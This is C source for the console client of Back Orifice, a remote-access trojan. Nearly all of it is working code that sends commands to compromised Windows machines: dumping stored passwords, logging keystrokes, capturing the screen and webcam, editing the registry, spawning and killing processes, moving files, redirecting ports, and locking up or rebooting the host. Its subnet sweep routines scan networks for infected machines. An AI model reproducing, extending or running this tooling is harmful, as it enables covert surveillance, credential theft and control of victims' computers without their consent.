#include "config.h"
#include "bounix.h"
extern int udpsock;
extern int port;
extern unsigned long host;
extern char cwd[MAX_PATH];
extern char g_password[ARGSIZE];

void printhelp(void)
{
printf("\
Back Orifice Client v%s help:  (Type help command for more help)\n\
 BO commands:\n \
  host  ping  pinglist  status  passwd  quit  sweep  sweeplist\n\
 File commands: \n\
  dir  del  copy  ren  find  freeze  melt  view  tcpsend  tcprecv\n\
 Directory commands: \n\
  cd  rd  md\n\
 System commands: \n\
  info  passes  dialog  keylog  reboot  httpon  httpoff  lockup\n\
 Network commands: \n\
  netview  netconnect  netdisconnect  netlist  resolve  sharelist  shareadd  sharedel\n\
 Plugin commands: \n\
  pluginexec pluginkill pluginlist\n\
 Process commands: \n\
  proclist  prockill  procspawn\n\
 Registry commands: \n\
  regmakekey  regdelkey  regdelval  reglistkeys  reglistvals  regsetval\n\
 Multimedia commands:  \n\
  listcaps  capframe  capavi  capscreen  sound  \n\
 Redir commands:\n\
  redirlist rediradd  redirdel\n\
 Console application commands: \n\
  applist  appadd  appdel\n\
", VERSIONSTR);
}

int executecommand(char *command, char *arg1, char *arg2)
{
  unsigned long dest;
  int x;
  char buff[BUFFSIZE];
  char buff2[BUFFSIZE];
  char str[46];  /* you figure it out */
  struct in_addr hostin;
  struct hostent *hptr;
  unsigned char *ptr;
  FILE *file;
 
  if (strcasecmp(command, "HELP" ) == 0 || strcmp(command, "?") == 0 )
    {
      if (!strlen(arg1) )
	printhelp();
      else
	givehelpcommand(arg1);
    }
  else if (strcasecmp(command, "QUIT") == 0)
    {  
      close(udpsock);
      exit(0);
    } 
  else if (strcasecmp(command, "HOST") == 0 )
    { 
      /* Is it a hostname or a valid address? */
      if((host=inet_addr(arg1))==(unsigned long)-1) {
	/* Ain't an address, assuming hostname */
	if((hptr=gethostbyname(arg1))==NULL) {
	  host = 0;
	  hostin.s_addr = host;
	  printf("resolver said: eat me.\n");
	  return(1);
	}
	printf("official hostname: %s  address: %s\n",
	       hptr->h_name,
	       inet_ntoa(*(struct in_addr *)hptr->h_addr_list[0]));
	if ( (host = *(unsigned long *)hptr->h_addr_list[0]) == (unsigned long)-1) {
	  host = 0;
	  hostin.s_addr = host;
	  printf("resolver returned bogus IP address!\n");
	  return(1);
	}
      }
      
      if ((x = atoi(arg2))) port = x;

      hostin.s_addr = host;
      printf("New host: %s:%d\n", inet_ntoa(hostin), port );
      
    } 
  else if (strcasecmp(command, "PING") == 0)
    {
      if (!sendpacket(TYPE_PING, "","", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "STATUS") == 0)
    {
      hostin.s_addr = host;
      printf("Current Back Orifice Console Client status:\n Host: %s port %d\n", 
	     inet_ntoa(hostin), port );
      printf(" Remote dir: %s\n", cwd);
    } 
  else if (strcasecmp(command, "DIR") == 0)
    {	
      if (arg1[0] == 0)
	sprintf(buff, "%s*", cwd);
      else {
	if (arg1[0] == '\\')
	  {
	    strncpy(buff, cwd, 3);
	    strcpy(buff+3, arg1);
	  } else if (strncmp(arg1+1, ":\\", 2) == 0 ){
	    strcpy(buff, arg1);
	  } else {
	    strcpy(buff, cwd);
	    strcat(buff, arg1);
	  }
	x = strlen(buff);
	if (buff[x-1] == '\\');
	strcat(buff, "*");
      }
      if (!sendpacket(TYPE_DIRECTORYLIST, buff,"", host, port, udpsock))
	return(getinput(udpsock));
      else 
	return(1);
    }
  else if (strcasecmp(command, "CD") == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply directory name");
	return(1); 
      }
      strcpy(cwd, arg1);
      x = strlen(cwd);
      if (cwd[x-1] != '\\');
      strcat(cwd, "\\");
      printf("New directory on host is %s\n", cwd);
    } 
  else if (strcasecmp(command, "DEL") == 0) 
    {
      if (arg1[0] == 0) {
	puts("Must supply filename");
	return(1);
      }
      fixfilename(buff, cwd, arg1);
      if (!sendpacket(TYPE_FILEDELETE, buff,"", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "COPY") == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply filename");
	return (1);
      }
      fixfilename(buff, cwd, arg1);
      if (arg2[0] == 0)
	{
	  ptr = strrchr(buff, '\\');
	  ptr++;
	  sprintf(buff2, "%s%s", cwd, ptr);
	} else {
	  fixfilename(buff2, cwd, arg2);
	}
      if (!sendpacket(TYPE_FILECOPY, buff,buff2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "FIND") == 0)
    {
      if ( (arg1[0] == 0) || (arg2[0] == 0) ) {
	puts("Must supply file & pathname");
	return (1);
      }
      if (!sendpacket(TYPE_FILEFIND, arg1,arg2, host, port, udpsock))
	return(getinput(udpsock));
      else 
	return(1);
    } 
  else if (strcasecmp(command, "FREEZE") == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0)
	{
	  puts("Must supply source and destination filenames");
	  return(1);
	}
      fixfilename(buff, cwd, arg1);
      fixfilename(buff2, cwd, arg2);
      if (!sendpacket(TYPE_FILEFREEZE, buff,buff2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "MELT") == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0) {
	puts("Must supply source and destination filenames");
	return(1);
      }
      fixfilename(buff, cwd, arg1);
      fixfilename(buff2, cwd, arg2);
      if (!sendpacket(TYPE_FILEMELT, buff,buff2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "VIEW") == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply filename");			    
	return(1);
      }
      fixfilename(buff, cwd, arg1);
      if (!sendpacket(TYPE_FILEVIEW, buff,"", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "MD") == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply directory name");
	return(1);
      }
      fixfilename(buff, cwd, arg1);
      if (!sendpacket(TYPE_DIRECTORYMAKE, buff, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "RD") == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply directory name");
	return(1);
      }
      fixfilename(buff, cwd, arg1);
      if (!sendpacket(TYPE_DIRECTORYDELETE, buff, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "INFO")  == 0)
    {
      if (!sendpacket(TYPE_SYSINFO, "","", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "PASSES")  == 0)
    {
      if (!sendpacket(TYPE_SYSLISTPASSWORDS, "","", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "DIALOG")  == 0)
    {
      if ( (arg1[0] == 0) || (arg2[0] == 0)) {
	puts("Must supply dialog box text and title");
	return(1);
      }
      if (!sendpacket(TYPE_SYSDIALOGBOX, arg1,arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "NETVIEW")  == 0)
    {
      if (!sendpacket(TYPE_NETVIEW, "","", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "NETLIST")  == 0)
    {
      if (!sendpacket(TYPE_NETCONNECTIONS, "","", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "NETCONNECT")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply resource name");
	return(1);
      }
      if (!sendpacket(TYPE_NETUSE, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "NETDISCONNECT") == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply resource name");
	return(1);
      }
      if (!sendpacket(TYPE_NETDELETE, arg1, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "PROCLIST")  == 0)
    {
      if (!sendpacket(TYPE_PROCESSLIST, "","", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "PROCKILL")  == 0)
    {
      if (!sendpacket(TYPE_PROCESSKILL, arg1,"", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "PROCSPAWN")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply at least application name");
	return(1);
      }
      sprintf(buff, "%s %s", arg1, arg2);
      if (!sendpacket(TYPE_PROCESSSPAWN, buff,"", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "PASSWD") == 0)
    {
      if (arg1[0] == 0) {
	g_password[0] = 0;
	printf("Password removed.\n");
      } else {
	strcpy(g_password, arg1);
	printf("New encryption password set to '%s'\n", g_password);
      }
    }
  else if (strcasecmp(command, "REN") == 0) 
    {
      if (arg1[0] == 0) {
	puts("Must supply filename");
	return(1);
      } else {
	fixfilename(buff, cwd, arg1);
	if (arg2[0] == 0)
	  {
	    ptr = strrchr(buff, '\\');
	    ptr++;
	    sprintf(buff2, "%s%s", cwd, ptr);
	  } else {
	    fixfilename(buff2, cwd, arg2);
	  }
	if (!sendpacket(TYPE_FILERENAME, buff,buff2, host, port, udpsock))
	  return(getinput(udpsock));
	else
	  return(1);
      }
    }
  else if (strcasecmp(command, "RESOLVE")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply hostname");
	return(1);
      }
      if (!sendpacket(TYPE_RESOLVEHOST, arg1, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    }
  else if (strcasecmp(command, "SHARELIST")  == 0)
    {
      if (!sendpacket(TYPE_NETEXPORTLIST, "","", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "SHAREADD")  == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0) {
	puts("Must supply share name and path");
	return(1);
      }
      if (!sendpacket(TYPE_NETEXPORTADD, arg1,arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "SHAREDEL")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply share name");
	return(1);
      }
      if (!sendpacket(TYPE_NETEXPORTDELETE, arg1,"", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "KEYLOG")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply log filename");
	return(1);
      }
      if (strcasecmp(arg1, "STOP") == 0)
	{
	  if (!sendpacket(TYPE_SYSENDKEYLOG, "","", host, port, udpsock))
	    return(getinput(udpsock));
	  else
	    return(1);
	} else {
	  if (!sendpacket(TYPE_SYSLOGKEYS, arg1,"", host, port, udpsock))
	    return(getinput(udpsock));
	  else
	    return(1);
	}
    } 
  else if (strcasecmp(command, "REGMAKEKEY")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply key name");
	return(1);
      }
      if (!sendpacket(TYPE_REGISTRYCREATEKEY, arg1, "", host, port ,udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "REGDELKEY")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply key name");
	return(1);
      }
      if (!sendpacket(TYPE_REGISTRYDELETEKEY, arg1, "", host, port ,udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "REGDELVAL")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply value name");
	return(1);
      }
      if (!sendpacket(TYPE_REGISTRYDELETEVALUE, arg1, "", host, port ,udpsock))
	return(getinput(udpsock));
      else
	return(1);
    }
  else if (strcasecmp(command, "REGLISTKEYS")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply key name");
	return(1);
      }
      if (!sendpacket(TYPE_REGISTRYENUMKEYS, arg1, "", host, port ,udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "REGLISTVALS")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply key name");
	return(1);
      }
      if (!sendpacket(TYPE_REGISTRYENUMVALS, arg1, "", host, port ,udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "REGSETVAL")  == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0) {
	puts("Must supply value name and data");
	return(1);
      }
      if (!sendpacket(TYPE_REGISTRYSETVALUE, arg1, arg2, host, port ,udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "LISTCAPS")  == 0)
    {
      if (!sendpacket(TYPE_MMLISTCAPS, "", "", host, port ,udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "CAPFRAME")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply bitmap filename");
	return(1);
      }
      if (!sendpacket(TYPE_MMCAPFRAME, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "CAPAVI")  == 0)
    {
      if (arg1[0] == 0 || atoi(arg2) == 0) {
	puts("Must supply avi filename and number of seconds");
	return(1);
      }
      if (!sendpacket(TYPE_MMCAPAVI, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "CAPSCREEN")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply bitmap filename");
	return(1);
      }
      if (!sendpacket(TYPE_MMCAPSCREEN, arg1, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "SOUND")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply wav filename");
	return(1);
      }
      if (!sendpacket(TYPE_MMPLAYSOUND, arg1, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "REDIRLIST")  == 0)
    {
      if (!sendpacket(TYPE_REDIRLIST, "", "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "REDIRADD")  == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0) {
	puts("Must supply input port and destination IP");
	return(1);
      }
      if (!sendpacket(TYPE_REDIRADD, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "REDIRDEL")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply redir id");
	return(1);
      }
      if (!sendpacket(TYPE_REDIRDEL, arg1, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "APPLIST")  == 0)
    {
      if (!sendpacket(TYPE_APPLIST, "", "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "APPADD")  == 0)
    {
      if (arg1[0] == 0 || arg2[0] == 0) {
	puts("Must supply exe name and input port");
	return(1);
      }
      if (!sendpacket(TYPE_APPADD, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "APPDEL")  == 0)
    {
      if (arg1[0] == 0) {
	puts("Must supply app id"); 
	return(1);
      }
      if (!sendpacket(TYPE_APPDEL, arg1, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "HTTPON")  == 0)
    {
      if (atoi(arg1) == 0) {
	puts("Must supply port");
	return(1);
      }	  
      if (!sendpacket(TYPE_HTTPENABLE, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "HTTPOFF")  == 0)
    {
      if (!sendpacket(TYPE_HTTPDISABLE, "", "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    }
  else if (strcasecmp(command, "SWEEP")  == 0)
    {
      if (!strlen(arg1)) {
	puts("Must supply subnet");
	return(1);
      }
    return(pingsweepsubnet(arg1, udpsock, port));
    }
  else if (strcasecmp(command, "SWEEPLIST")  == 0)
    {
      if (!strlen(arg1) ) {
	    puts("Must supply list filename");
	    return(1);
      }
      if ( (file = fopen(arg1, "rt")) == NULL ) {
	perror("fopen");
	return(1);
      }
      
      while (fgets(buff, BUFFSIZE, file) != NULL) {
	if(buff[strlen(buff)-1]=='\n') buff[strlen(buff)-1]='\0';
	if (pingsweepsubnet(buff, udpsock, port))
	  printf("Sweep of %s failed\n", buff);
      }
      
      if(fclose(file) == EOF) {
	perror("fclose");
	return(1);
      }

      printf("Full sweep ended.\n");
      return(0);
    }
  else if (strcasecmp(command, "PINGLIST")  == 0)
    {
      if (!strlen(arg1) ) {
	puts("Must supply list filename");
	return(1);
      }
      if ( (file = fopen(arg1, "rt")) == NULL) {
	  perror("fopen");
	  return(1);
      }
      while (fgets(buff, BUFFSIZE, file) != NULL)
	{
	  if(buff[strlen(buff)-1]=='\n') buff[strlen(buff)-1]='\0';
	  if ( (dest = inet_addr(buff)) == (unsigned long)-1)
	    printf("Bad IP: '%s'\n", buff);
	  else
	    {
	      int s;
	      hostin.s_addr = dest;
	      printf("Pinging %s\n", inet_ntoa(hostin));
	
	      s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
	      if (sendping(dest, port, s)) {
		printf("Sendping failed for dest %s\n", inet_ntoa(hostin));
		continue;
	      }
	      sleep(SWEEPDELAY);
	      getpong(s);
	      close(s);

	    }
	}
      if (fclose(file)==EOF) {
	perror("fclose");
	return(1);
      }
      printf("Pinging ended.\n");
      return(0);
    } 
  else if (strcasecmp(command, "REBOOT")  == 0)
    {
      if (!sendpacket(TYPE_SYSREBOOT, "","", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "TCPSEND")  == 0)
    {
      if (!sendpacket(TYPE_TCPFILESEND, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "TCPRECV")  == 0)
    {
      if (!sendpacket(TYPE_TCPFILERECEIVE, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "LOCKUP")  == 0)
    {
      if (!sendpacket(TYPE_SYSLOCKUP, "", "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "PLUGINEXEC")  == 0)
    {
      if (!sendpacket(TYPE_PLUGINEXECUTE, arg1, arg2, host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "PLUGINKILL")  == 0)
    {
      if (!sendpacket(TYPE_PLUGINKILL, arg1, "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else if (strcasecmp(command, "PLUGINLIST")  == 0)
    {
      if (!sendpacket(TYPE_PLUGINLIST, "", "", host, port, udpsock))
	return(getinput(udpsock));
      else
	return(1);
    } 
  else 
    {
      if (strlen(command) )
	printf("Unknown command: '%s'  (Type 'help' for assistance)\n", command);
      return(1);
    }
  return(0);               /* assume success */
}


int pingsweepsubnet(char *arg1, int udpsock, int port)
{
  int dest;
  char subnet[16];
  char ipaddr[16];
  char socks[255];
  int x,y;
    
  /* Find third octet and truncate */
  strncpy(subnet,arg1,15);
  x=0;
  while((x<15) && (subnet[x]!='.')) x++;
  x++;
  while((x<15) && (subnet[x]!='.')) x++;
  x++;
  while((x<15) && isdigit(subnet[x])) x++;
  subnet[x]='\0';

  strcpy(ipaddr,subnet);
  strcat(ipaddr,".255");
  if ( inet_addr(ipaddr) == (unsigned long)-1 )
    {
      printf("Bad IP subnet: '%s'\n", arg1);
      return(1);
    }
  printf("Sweeping subnet %s.*...\n", subnet);
  for(y=0;y<7;y++) {
    printf(" %s.%d -- %s.%d\n",subnet,(y*32)+1,subnet,(y*32)+32);
    for(x=0;x<32;x++) {
      sprintf(ipaddr,"%s.%d",subnet,x+1+(y*32));      
      socks[x]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
      if(sendping(inet_addr(ipaddr), port, socks[x])) {
	printf("Sendping failed for dest %s\n", ipaddr);
      }
    } 
    sleep(SWEEPDELAY);
    for (x = 0; x < 32; x++) {
      getpong(socks[x]);
      close(socks[x]);
    }
  }
  printf(" %s.225 -- %s.254\n",subnet,subnet);
  for(x=225;x<255;x++) {
    sprintf(ipaddr,"%s.%d",subnet,x);      
    socks[x]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
    if(sendping(inet_addr(ipaddr), port, socks[x])) {
      printf("Sendping failed for dest %s\n", ipaddr);
    }
  } 
  sleep(SWEEPDELAY);
  for (x = 225; x < 255; x++) {
    getpong(socks[x]);
    close(socks[x]);
  }
  
  return(0);
}